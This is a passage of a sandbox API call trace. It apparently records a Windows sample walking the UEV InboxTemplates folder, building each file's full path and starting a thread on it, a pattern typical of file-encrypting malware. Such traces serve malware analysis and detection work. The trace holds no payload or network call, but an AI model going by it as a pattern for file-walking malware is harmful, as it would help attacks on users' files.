(in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013Win64.xml", cAlternateFileName="")) returned 1 [0077.623] wcscmp (_String1="MicrosoftOffice2013Win64.xml", _String2=".") returned 1 [0077.623] wcscmp (_String1="MicrosoftOffice2013Win64.xml", _String2="..") returned 1 [0077.623] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9a) returned 0x33e6288 [0077.623] wcscpy (in: _Dest=0x33e6288, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0077.623] wcscat (in: _Dest=0x33e6288, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0077.623] wcscat (in: _Dest=0x33e6288, _Source="MicrosoftOffice2013Win64.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml" [0077.623] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e6288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b8 [0077.624] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2016BackupWin32.xml", cAlternateFileName="")) returned 1 [0077.624] wcscmp (_String1="MicrosoftOffice2016BackupWin32.xml", _String2=".") returned 1 [0077.624] wcscmp (_String1="MicrosoftOffice2016BackupWin32.xml", _String2="..") returned 1 [0077.624] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f1460 [0077.624] wcscpy (in: _Dest=0x33f1460, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0077.624] wcscat (in: _Dest=0x33f1460, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0077.624] wcscat (in: _Dest=0x33f1460, _Source="MicrosoftOffice2016BackupWin32.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml" [0077.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f1460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ac [0077.625] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2016BackupWin64.xml", cAlternateFileName="")) returned 1 [0077.625] wcscmp (_String1="MicrosoftOffice2016BackupWin64.xml", _String2=".") returned 1 [0077.625] wcscmp (_String1="MicrosoftOffice2016BackupWin64.xml", _String2="..") returned 1 [0077.625] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f08b0 [0077.625] wcscpy (in: _Dest=0x33f08b0, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0077.625] wcscat (in: _Dest=0x33f08b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0077.625] wcscat (in: _Dest=0x33f08b0, _Source="MicrosoftOffice2016BackupWin64.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml" [0077.625] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x79c [0077.626] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x100c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2016Win32.xml", cAlternateFileName="")) returned 1 [0077.626] wcscmp (_String1="MicrosoftOffice2016Win32.xml", _String2=".") returned 1 [0077.626] wcscmp (_String1="MicrosoftOffice2016Win32.xml", _String2="..") returned 1 [0077.626] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9a) returned 0x33e6330 [0077.626] wcscpy (in: _Dest=0x33e6330, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0077.626] wcscat (in: _Dest=0x33e6330, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0077.626] wcscat (in: _Dest=0x33e6330, _Source="MicrosoftOffice2016Win32.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml" [0077.626] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e6330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5dc [0077.626] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x100c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2016Win64.xml", cAlternateFileName="")) returned 1 [0077.626] wcscmp (_String1="MicrosoftOffice2016Win64.xml", _String2=".") returned 1 [0077.627] wcscmp (_String1="MicrosoftOffice2016Win64.xml", _String2="..") returned 1 [0077.627] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9a) returned 0x33e6138 [0077.627] wcscpy (in: _Dest=0x33e6138, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0077.627] wcscat (in: _Dest=0x33e6138, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0077.627] wcscat (in: _Dest=0x33e6138, _Source="MicrosoftOffice2016Win64.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml" [0077.627] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e6138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x398 [0077.627] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x506, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOutlook2013CAWin32.xml", cAlternateFileName="")) returned 1 [0077.627] wcscmp (_String1="MicrosoftOutlook2013CAWin32.xml", _String2=".") returned 1 [0077.627] wcscmp (_String1="MicrosoftOutlook2013CAWin32.xml", _String2="..") returned 1 [0077.627] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa0) returned 0x33e6090 [0077.627] wcscpy (in: _Dest=0x33e6090, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0077.627] wcscat (in: _Dest=0x33e6090, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0077.628] wcscat (in: _Dest=0x33e6090, _Source="MicrosoftOutlook2013CAWin32.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml" [0077.628] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e6090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d8 [0077.628] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x506, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOutlook2013CAWin64.xml", cAlternateFileName="")) returned 1 [0077.628] wcscmp (_String1="MicrosoftOutlook2013CAWin64.xml", _String2=".") returned 1 [0077.628] wcscmp (_String1="MicrosoftOutlook2013CAWin64.xml", _String2="..") returned 1 [0077.628] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa0) returned 0x33e63d8 [0077.628] wcscpy (in: _Dest=0x33e63d8, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0077.628] wcscat (in: _Dest=0x33e63d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0077.628] wcscat (in: _Dest=0x33e63d8, _Source="MicrosoftOutlook2013CAWin64.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml" [0077.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e63d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c [0077.629] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x509, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOutlook2016CAWin32.xml", cAlternateFileName="")) returned 1 [0077.629] wcscmp (_String1="MicrosoftOutlook2016CAWin32.xml", _String2=".") returned 1 [0077.629] wcscmp (_String1="MicrosoftOutlook2016CAWin32.xml", _String2="..") returned 1 [0077.629] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa0) returned 0x33e6870 [0077.629] wcscpy (in: _Dest=0x33e6870, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0077.629] wcscat (in: _Dest=0x33e6870, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0077.629] wcscat (in: _Dest=0x33e6870, _Source="MicrosoftOutlook2016CAWin32.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml" [0077.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e6870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ac [0077.630] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x509, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOutlook2016CAWin64.xml", cAlternateFileName="")) returned 1 [0077.630] wcscmp (_String1="MicrosoftOutlook2016CAWin64.xml", _String2=".") returned 1 [0077.630] wcscmp (_String1="MicrosoftOutlook2016CAWin64.xml", _String2="..") returned 1 [0077.630] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa0) returned 0x33e6480 [0077.630] wcscpy (in: _Dest=0x33e6480, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0077.630] wcscat (in: _Dest=0x33e6480, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0077.630] wcscat (in: _Dest=0x33e6480, _Source="MicrosoftOutlook2016CAWin64.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml" [0077.630] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e6480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a8 [0077.631] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftSkypeForBusiness2016Win32.xml", cAlternateFileName="")) returned 1 [0077.631] wcscmp (_String1="MicrosoftSkypeForBusiness2016Win32.xml", _String2=".") returned 1 [0077.631] wcscmp (_String1="MicrosoftSkypeForBusiness2016Win32.xml", _String2="..") returned 1 [0077.631] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xae) returned 0x3429108 [0077.631] wcscpy (in: _Dest=0x3429108, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0077.631] wcscat (in: _Dest=0x3429108, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0077.631] wcscat (in: _Dest=0x3429108, _Source="MicrosoftSkypeForBusiness2016Win32.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml" [0077.631] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3429108, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x89c [0077.632] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftSkypeForBusiness2016Win64.xml", cAlternateFileName="")) returned 1 [0077.632] wcscmp (_String1="MicrosoftSkypeForBusiness2016Win64.xml", _String2=".") returned 1 [0077.632] wcscmp (_String1="MicrosoftSkypeForBusiness2016Win64.xml", _String2="..") returned 1 [0077.632] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xae) returned 0x3428c00 [0077.632] wcscpy (in: _Dest=0x3428c00, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0077.632] wcscat (in: _Dest=0x3428c00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0077.632] wcscat (in: _Dest=0x3428c00, _Source="MicrosoftSkypeForBusiness2016Win64.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml" [0077.632] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3428c00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x894 [0077.633] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftWordpad.xml", cAlternateFileName="")) returned 1 [0077.633] wcscmp (_String1="MicrosoftWordpad.xml", _String2=".") returned 1 [0077.633] wcscmp (_String1="MicrosoftWordpad.xml", _String2="..") returned 1 [0077.633] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347c458 [0077.633] wcscpy (in: _Dest=0x347c458, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0077.633] wcscat (in: _Dest=0x347c458, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0077.633] wcscat (in: _Dest=0x347c458, _Source="MicrosoftWordpad.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml" [0077.633] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347c458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x890 [0077.634] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x85f, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkPrinters.xml", cAlternateFileName="")) returned 1 [0077.634] wcscmp (_String1="NetworkPrinters.xml", _String2=".") returned 1 [0077.634] wcscmp (_String1="NetworkPrinters.xml", _String2="..") returned 1 [0077.634] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x88) returned 0x33e23c0 [0077.634] wcscpy (in: _Dest=0x33e23c0, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0077.634] wcscat (in: _Dest=0x33e23c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0077.634] wcscat (in: _Dest=0x33e23c0, _Source="NetworkPrinters.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml" [0077.634] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e23c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x880 [0077.635] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RoamingCredentialSettings.xml", cAlternateFileName="")) returned 1 [0077.635] wcscmp (_String1="RoamingCredentialSettings.xml", _String2=".") returned 1 [0077.635] wcscmp (_String1="RoamingCredentialSettings.xml", _String2="..") returned 1 [0077.635] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e5f40 [0077.635] wcscpy (in: _Dest=0x33e5f40, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0077.635] wcscat (in: _Dest=0x33e5f40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0077.635] wcscat (in: _Dest=0x33e5f40, _Source="RoamingCredentialSettings.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml" [0077.635] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e5f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x87c [0077.636] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ThemeSettings2013.xml", cAlternateFileName="")) returned 1 [0077.636] wcscmp (_String1="ThemeSettings2013.xml", _String2=".") returned 1 [0077.636] wcscmp (_String1="ThemeSettings2013.xml", _String2="..") returned 1 [0077.636] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8c) returned 0x347bf98 [0077.636] wcscpy (in: _Dest=0x347bf98, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0077.636] wcscat (in: _Dest=0x347bf98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0077.636] wcscat (in: _Dest=0x347bf98, _Source="ThemeSettings2013.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml") returned="C:\\Users\\All 